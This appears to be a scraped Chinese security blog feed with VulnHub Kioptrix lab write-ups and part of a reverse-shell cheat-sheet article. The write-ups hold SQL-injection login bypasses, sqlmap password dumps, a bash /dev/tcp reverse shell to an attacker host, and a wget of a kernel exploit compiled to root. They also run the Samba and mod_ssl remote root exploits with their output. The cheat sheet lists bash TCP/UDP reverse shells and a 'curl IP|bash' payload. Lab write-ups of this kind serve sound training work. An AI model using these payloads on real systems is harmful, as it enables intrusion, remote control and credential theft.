!/usr/bin/su, /usr/local/bin/ht,/bin/bash # f10保存退出 1234567891011loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht (root) NOPASSWD: /bin/bash loneferret@Kioptrix3:~$ sudo bashroot@Kioptrix3:~# iduid=0(root) gid=0(root) groups=0(root)root@Kioptrix3:~# whoamiroot Shell as user1 Shell as user2 以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 2 简单的命令注入 + 内核提权","path":"/2024/02/26/7e189a50/","content":"总字符数: 12.76K 代码: 6.21K, 文本: 1.04K 预计阅读时间: 32 分钟 Overview Name Template Release Date 2024-02-26 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ 相关技能 File Upload Local File Include vim to shell 薄弱点 字典及信息收集技能薄弱 Nmap扫描123456# 使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.19 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')# 使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。nmap -p$ports -sV -sC -O 10.10.10.19 -oN nmap.txt 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.19 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 10.10.10.19 -oN nmap.txtStarting Nmap 7.92 ( https://nmap.org ) at 2023-08-05 11:31 CSTNmap scan report for 10.10.10.19Host is up (0.00026s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)|_sshv1: Server supports SSHv1| ssh-hostkey:| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)80/tcp open http Apache httpd 2.0.52 ((CentOS))|_http-server-header: Apache/2.0.52 (CentOS)|_http-title: Site doesn't have a title (text/html; charset=UTF-8).111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100024 1 613/udp status|_ 100024 1 616/tcp status443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))|_http-title: Site doesn't have a title (text/html; charset=UTF-8).| sslv2:| SSLv2 supported| ciphers:| SSL2_DES_192_EDE3_CBC_WITH_MD5| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5| SSL2_RC4_64_WITH_MD5| SSL2_RC4_128_WITH_MD5| SSL2_DES_64_CBC_WITH_MD5| SSL2_RC4_128_EXPORT40_WITH_MD5|_ SSL2_RC2_128_CBC_WITH_MD5|_http-server-header: Apache/2.0.52 (CentOS)|_ssl-date: 2023-08-05T00:22:22+00:00; -3h09m22s from scanner time.| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2009-10-08T00:10:47|_Not valid after: 2010-10-08T00:10:47616/tcp open status 1 (RPC #100024)631/tcp open ipp CUPS 1.1| http-methods:|_ Potentially risky methods: PUT|_http-title: 403 Forbidden|_http-server-header: CUPS/1.13306/tcp open mysql MySQL (unauthorized)MAC Address: 00:0C:29:53:19:4C (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.30Network Distance: 1 hopHost script results:|_clock-skew: -3h09m22sOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 1$ enum4linux -A <ip> Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.56.101http://192.168.56.101 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.56.101], Script[text/javascript] 目录枚举 dirb http://192.168.56.101 dirsearch -u http://192.168.56.101 -r gobuster dir -w ... -u http://192.168.56.101 -x html,php,js,bak 1234567891011121314151617181920212223242526272829303132333435363738394041424344┌──(root㉿kill3r)-[/]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.9 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.9[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/05 13:37:07 Starting gobuster in directory enumeration mode===============================================================Error: error on running gobuster: unable to connect to http://10.10.10.9/: Get "http://10.10.10.9/": context deadline exceeded (Client.Timeout exceeded while awaiting headers)┌──(root㉿kill3r)-[/]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.19 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.19[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: js,bak,html,php[+] Timeout: 10s===============================================================2023/08/05 13:37:56 Starting gobuster in directory enumeration mode===============================================================/.html (Status: 403) [Size: 284]/index.php (Status: 200) [Size: 667]/manual (Status: 301) [Size: 311] [--> http://10.10.10.19/manual/]/usage (Status: 403) [Size: 284]/.html (Status: 403) [Size: 284]Progress: 1102282 / 1102805 (99.95%)===============================================================2023/08/05 13:43:45 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.56.101/ -w dict.txt 1 pass.list 125afac8d85f66lajGGbla user.list 12adminjohn hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点 启动Burp进行后台突破: SQL注入 万能密码:admin' or '1'='1 访问凭证伪造 弱口令 返回包修改 成功进入后台,但是我的框呢??? Burp抓包把框弄出来 一看就像典型的命令执行输入IP继续抓包 Kali nc监听:nc -lvvp 6666 bash -i >& /dev/tcp/10.10.10.15/6666 0>&1 漏洞分析 MySQL-unauthorized 123456789101112131415161718192021222324252627282930313233343536373839404142434445 ┌──(root㉿kill3r)-[/] └─# mysql -uroot -proot -h10.10.10.19 ERROR 1130 (HY000): Host 'kill3r.lan' is not allowed to connect to this MySQL server- MySQL-InJect ```bash ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 --dbs available databases [1]: [*] webapp ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" --tables --risk 3 Database: webapp [1 table] +-------+ | users | +-------+ ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" -T "users" --columns Database: webapp Table: users [3 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | numeric | | password | non-numeric | | username | non-numeric | +----------+-------------+ ┌──(root㉿kill3r)-[/opt] └─# sqlmap -r sql_InJect.txt --level 5 --risk 3 -D "webapp" -T "users" -C "id,username,password" --dump Database: webapp Table: users [2 entries] +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | admin | 5afac8d85f | | 2 | john | 66lajGGbla | +----+----------+------------+ 提升权限 搜索UID无果 1234567891011121314151617181920212223242526272829303132333435bash-3.00$ find / -perm -u=s -type f 2>/dev/null/sbin/unix_chkpwd/sbin/pam_timestamp_check/sbin/pwdb_chkpwd/usr/sbin/ccreds_validate/usr/sbin/userhelper/usr/sbin/userisdnctl/usr/sbin/suexec/usr/sbin/usernetctl/usr/libexec/openssh/ssh-keysign/usr/libexec/pt_chown/usr/kerberos/bin/ksu/usr/lib/squid/pam_auth/usr/lib/squid/ncsa_auth/usr/bin/chsh/usr/bin/rcp/usr/bin/sudo/usr/bin/chage/usr/bin/crontab/usr/bin/rlogin/usr/bin/rsh/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/chfn/usr/bin/lppasswd/usr/bin/sg/usr/bin/passwd/bin/mount/bin/traceroute6/bin/traceroute/bin/umount/bin/ping6/bin/ping/bin/su Viewing Crontab 1234567891011bash-3.00$ cat /etc/crontabSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=rootHOME=/# run-parts01 * * * * root run-parts /etc/cron.hourly02 4 * * * root run-parts /etc/cron.daily22 4 * * 0 root run-parts /etc/cron.weekly42 4 1 * * root run-parts /etc/cron.monthly Viewing Core 1234567891011121314151617181920212223242526bash-3.00$ cat /etc/*release*cat: /etc/lsb-release.d: Is a directoryCentOS release 4.5 (Final)bash-3.00$ uname -aLinux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux┌──(root㉿kill3r)-[/opt]└─# searchsploit centos 2.6---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / | linux/local/9545.cLinux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / Ce | linux/local/9479.cLinux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 | linux_x86/local/9542.cLinux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Esca | linux/local/25444.cLinux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mu | linux_x86-64/local/45516.c---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Resultsbash-3.00$ lsb_release -alsb_release -aLSB Version: :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarchDistributor ID: CentOSDescription: CentOS release 4.5 (Final)Release: 4.5Codename: Final Vuln Exp 12345678910111213141516171819202122┌──(root㉿kill3r)-[/opt]└─# searchsploit -m 9545.c┌──(root㉿kill3r)-[/opt/vulnhub]└─# python3 -m http.server 8888bash-3.00$ cd /tmpbash-3.00$ wget http://10.10.10.15:8888/9545.c--21:49:13-- http://10.10.10.15:8888/9545.c => `25444.c'Connecting to 10.10.10.15:8888... connected.HTTP request sent, awaiting response... 200 OKLength: 9,408 (9.2K) [text/x-csrc] 0K ......... 100% 1.25 GB/s21:51:48 (1.25 GB/s) - `9545.c' saved [9408/9408]bash-3.00$ gcc 9545.c9545.c:376:28: warning: no newline at end of filebash-3.00$ ./a.outsh: no job control in this shellsh-3.00# iduid=0(root) gid=0(root) groups=48(apache) Shell as user1 Shell as user2以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 1 古老的 Apache Vuln","path":"/2024/02/24/e36a7018/","content":"总字符数: 11.97K 代码: 10.32K, 文本: 0.31K 预计阅读时间: 46 分钟 Overview Name Template Release Date 2024-02-24 Write-up Author Kill3r Machine Author Kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ 相关技能 Smb exp mod-ssl exp 薄弱点 gcc编译处理 Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.9 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 10.10.10.9 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.56.101 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.56.101 -oN nmap.txtStarting Nmap 7.92 ( https://nmap.org ) at 2023-08-04 20:27 CSTNmap scan report for 10.10.10.9Host is up (0.00022s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)|_sshv1: Server supports SSHv1| ssh-hostkey:| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_http-title: Test Page for the Apache Web Server on Red Hat Linux| http-methods:|_ Potentially risky methods: TRACE111/tcp open rpcbind 2 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2 111/tcp rpcbind| 100000 2 111/udp rpcbind| 100024 1 1024/tcp status|_ 100024 1 1024/udp status139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_ssl-date: 2023-08-04T12:29:55+00:00; +1m50s from scanner time.| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--| Not valid before: 2009-09-26T09:32:06|_Not valid after: 2010-09-26T09:32:06|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b|_http-title: 400 Bad Request| sslv2:| SSLv2 supported| ciphers:| SSL2_DES_64_CBC_WITH_MD5| SSL2_RC2_128_CBC_WITH_MD5| SSL2_RC4_64_WITH_MD5| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5| SSL2_DES_192_EDE3_CBC_WITH_MD5| SSL2_RC4_128_WITH_MD5|_ SSL2_RC4_128_EXPORT40_WITH_MD51024/tcp open status 1 (RPC #100024)MAC Address: 00:0C:29:7C:3A:16 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.4.XOS CPE: cpe:/o:linux:linux_kernel:2.4OS details: Linux 2.4.9 - 2.4.18 (likely embedded)Network Distance: 1 hopHost script results:|_smb2-time: Protocol negotiation failed (SMB2)|_clock-skew: 1m49s|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 23.82 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[/home/kill3r]└─$ enum4linux -A 10.10.10.9Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 4 20:29:56 2023 =========================================( Target Information )=========================================Target ........... 10.10.10.9RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =============================( Enumerating Workgroup/Domain on 10.10.10.9 )=============================[+] Got domain/workgroup name: MYGROUP ====================================( Session Check on 10.10.10.9 )====================================[+] Server 10.10.10.9 allows sessions using username '', password '' =================================( Getting domain SID for 10.10.10.9 )=================================Domain Name: MYGROUPDomain Sid: (NULL SID)[+] Can't determine if host is part of domain or part of a workgroupenum4linux complete on Fri Aug 4 20:29:56 2023 MSF-SMB 12345678910111213141516# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version[*] 10.10.10.9:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)[*] 10.10.10.9:139 - Host could not be identified: Unix (Samba 2.2.1a)[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares[*] 10.10.10.9:139 - Starting module[*] 10.10.10.9:445 - Starting module[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid[*] 10.10.10.9: - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 10.10.10.9http://10.10.10.9 [200 OK] Apache[1.3.20][mod_ssl/2.8.4], Country[RESERVED][ZZ], Email[webmaster@example.com], HTTPServer[Red Hat Linux][Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b], IP[10.10.10.9], OpenSSL[0.9.6b], Title[Test Page for the Apache Web Server on Red Hat Linux] 目录枚举 dirb http://192.168.56.101 dirsearch -u http://192.168.56.101 -r gobuster dir -w ... -u http://192.168.56.101 -x html,php,js,bak 123456789101112131415161718192021222324252627┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.9 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://10.10.10.9[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/04 22:41:08 Starting gobuster in directory enumeration mode===============================================================/.html (Status: 403) [Size: 269]/index.html (Status: 200) [Size: 2890]/test.php (Status: 200) [Size: 27]/manual (Status: 301) [Size: 294] [--> http://127.0.0.1/manual/]/usage (Status: 301) [Size: 293] [--> http://127.0.0.1/usage/]/mrtg (Status: 301) [Size: 292] [--> http://127.0.0.1/mrtg/]/.html (Status: 403) [Size: 269]Progress: 1100338 / 1102805 (99.78%)===============================================================2023/08/04 22:46:47 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.56.101/ -w dict.txt 1 pass.list 1234```- user.list 123- hash.list 12345- information.list```bash Wappalyzer1234Web 服务器:Apache HTTP Server 1.3.20操作系统:UNIXWeb 服务器扩展:OpenSSL 0.9.6bmod_ssl:2.8.4 复现过程访问靶场,寻找功能点 无功能点,继续分析其他服务 信息分析SMB Samba 2.2.1a 123456789┌──(root㉿kill3r)-[/home/kill3r]└─$ searchsploit Samba 2.2.1a---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rbSamba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.cSamba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txtSamba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Results 最终测试得10.c可用,直接获取shell权限 1234567891011121314┌──(root㉿kill3r)-[/home/kill3r]└─$ gcc 10.c -o samba┌──(root㉿kill3r)-[/home/kill3r]└─$ ./samba -b O 10.10.10.9samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)--------------------------------------------------------------+ Bruteforce mode. (Linux)+ Host is running samba.+ Worked!--------------------------------------------------------------*** JE MOET JE MUIL HOUWELinux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknownuid=0(root) gid=0(root) groups=99(nobody) Mod_ssl:2.8.4 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[~/.ssh]└─# searchsploit mod_ssl 2.8.4---------------------------------------------------------------------------- --------------------------------- Exploit Title | Path---------------------------------------------------------------------------- ---------------------------------Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.cApache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.cApache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c---------------------------------------------------------------------------- ---------------------------------Shellcodes: No ResultsPapers: No Results┌──(root㉿kill3r)-[/home/kill3r]└─# gcc -o OpenFuck 47080.c -lcrypto┌──(root㉿kill3r)-[/home/kill3r]└─# ./OpenFuck -h | grep apache-1.3.20 0x02 - Cobalt Sun 6.0 (apache-1.3.20) 0x27 - FreeBSD (apache-1.3.20) 0x28 - FreeBSD (apache-1.3.20) 0x29 - FreeBSD (apache-1.3.20+2.8.4) 0x2a - FreeBSD (apache-1.3.20_1) 0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk) 0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk) 0x3f - Mandrake Linux 8.1 (apache-1.3.20-3) 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 0x7e - Slackware Linux 8.0 (apache-1.3.20) 0x86 - SuSE Linux 7.3 (apache-1.3.20) # 我这里只获取到了apache权限,估计是因为编译的时候出问题了吧 ┌──(root㉿kill3r)-[/home/kill3r]└─# ./OpenFuck 0x6b 10.10.10.9 Flag as user11 Shell as user1 Shell as user2以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"Security-反弹Shell大全及使用","path":"/2024/02/22/449cb93/","content":"总字符数: 9.55K 代码: 2.67K, 文本: 4.12K 预计阅读时间: 30 分钟 什么是反弹 shell 反向 shell(reverse shell)是一种网络攻击技术,其中攻击者通过在目标系统上植入恶意代码或利用漏洞,将受害者的计算机与攻击者的计算机建立起连接。在这种连接中,攻击者的计算机充当控制端,而受害者的计算机被控制并成为被控端。 具体实现方式如下:攻击者创建一个监听器,通常绑定在攻击者的计算机上的特定端口上。然后,攻击者将植入恶意代码的文件发送给受害者,并诱使受害者执行该文件。一旦受害者执行了该文件,它会尝试与攻击者的计算机上的监听器建立连接。 当连接建立后,攻击者就能够远程控制受害者的计算机,并获取对其命令行界面的访问权限。攻击者可以通过控制端向被控端发送各类命令 反弹 shell 的主要原因是克服目标系统上的各种限制,包括防火墙、权限受限以及被占用的端口。通过反向 shell,攻击者能够建立一个从目标机器到攻击者机器的连接,并在这个连接上执行各种操作。 具体原因如下: 防火墙规则绕过: 如果目标机器处于防火墙保护之下,正向连接可能会受到阻碍。反向 shell 允许目标机器主动连接到攻击者的机器,绕过了一些防火墙规则。 权限受限: 在目标系统上,攻击者可能受到权限的限制,无法在目标系统上建立一个正向连接。通过反向 shell,攻击者可以让目标系统主动连接到攻击者控制的机器,从而绕过权限问题。 端口占用: 如果目标系统上的某个端口被占用,建立正向连接可能会面临困难。反向 shell 允许目标系统选择一个可用的端口并连接到攻击者的机器,避免了端口占用的问题。 动态 IP 地址: 如果目标系统的 IP 地址是动态变化的,使用反向 shell 可以更灵活地适应目标系统 IP 地址的变化。 维持持久性: 反向 shell 还可以帮助攻击者在目标系统上维持持久性,因为一旦建立连接,攻击者可以随时再次使用该连接,而无需重新建立。 总的来说,反向 shell 提供了一种灵活、绕过限制的方式,使攻击者能够在目标系统上执行各种操作,维护访问和控制目标系统。这也是为什么它在渗透测试和攻击中被广泛使用的原因。 假设目标机器的防火墙禁止从外部网络访问目标机器上的某个特定端口(例如端口号 8888)。攻击者想要通过该端口建立与目标机器的连接,但由于防火墙规则的限制,正向连接无法成功。 在这种情况下,攻击者可以使用反向 shell 来绕过防火墙规则。具体步骤如下: 创建监听器: 攻击者在自己的机器上使用工具(例如Netcat、Metasploit等)创建一个监听器,并将其绑定到一个允许的端口(例如端口号 9999)。 设置恶意代码: 攻击者将目标机器上的漏洞或恶意代码修改为尝试连接到攻击者机器的 IP 地址和监听器的端口号。这可以通过植入后门、利用漏洞等方式实现。 目标机器连接尝试: 当目标机器上的恶意代码执行时,它会尝试与攻击者机器上的监听器建立连接,连接的目标是攻击者的 IP 地址和监听器的端口号。 防火墙规则绕过: 由于监听器绑定在一个允许的端口上(例如端口号 9999),防火墙允许目标机器与攻击者机器建立连接,即使该连接是由目标机器主动发起的。 建立连接后的控制: 一旦连接建立成功,攻击者就能够通过反向 shell 控制目标机器,执行各种命令、查看文件等操作。 那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到 webshell 后一般我们会反弹 shell。 反弹Shell和Webshell的区别反弹 shell 是一种攻击技术,通常用于渗透测试或黑客攻击中。它的基本原理是通过在目标系统上运行恶意代码,将系统的 shell(命令行界面)连接到攻击者控制的远程服务器上。 Webshell 是一种特殊类型的恶意代码,它被植入到受攻击的 Web 服务器上,以获得对服务器的控制权。与传统的反弹 shell 不同,Webshell 缺乏直接的交互性。即使攻击者成功地在目标服务器上部署了 Webshell,他们也无法直接通过 shell 连接来执行命令和获取系统权限。 因此,在某些情况下,攻击者可能会尝试通过反弹 shell 的方式来获取更高级的系统访问权限。这涉及到在目标系统上执行一些命令或利用漏洞,以便与攻击者的远程服务器建立一个交互式的 shell 连接。通过这种方式,攻击者可以更方便地执行各种操作,包括浏览文件系统、执行命令、窃取敏感数据等。 反弹 shell 大全Bash 反弹 shell1234# Alicenc -lvvp 12345# Bob/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1 Bash 反弹 shell TCP1234# Alicenc -lvvp 4242# Bobsh -i >& /dev/tcp/127.0.0.1/4242 0>&1 Bash 反弹 shell UDP1234# Alicenc -u -lvvp 4242# Bobsh -i >& /dev/udp/127.0.0.1/4242 0>&1 以下是针对Bash反弹一句话进行了拆分说明: 命令 命令详解 bash -i 产生一个bash交互环境。 >& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。 /dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。 Bash反弹一句完整的解读过程就是: Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。 Curl配合Bash反弹shell这里操作也很简单,借助了Linux中的管道。 首先,在攻击者vps的web目录里面创建一个index.php或index.html,内容如下: 1234567891011# Aliceecho 'bash -i >& /dev/tcp/192.168.64.215/2333 0>&1' > index.html# 临时起Web服务的三种方法# python -m SimpleHTTPServer 8080# python3 -m http.server 8080# php -S 0.0.0.0:8080# 监听nc -lvvp 2333# Bobcurl 192.168.64.215|bash Curl 配合 Bash 反弹 shell 的方式在 CTF(Capture The Flag)题目中经常被使用。具体的命令是 curl IP|bash,其中的 IP 可以是任意格式,包括但不限于十进制、十六进制、八进制和二进制等。 NC 反弹 shell Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。 目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 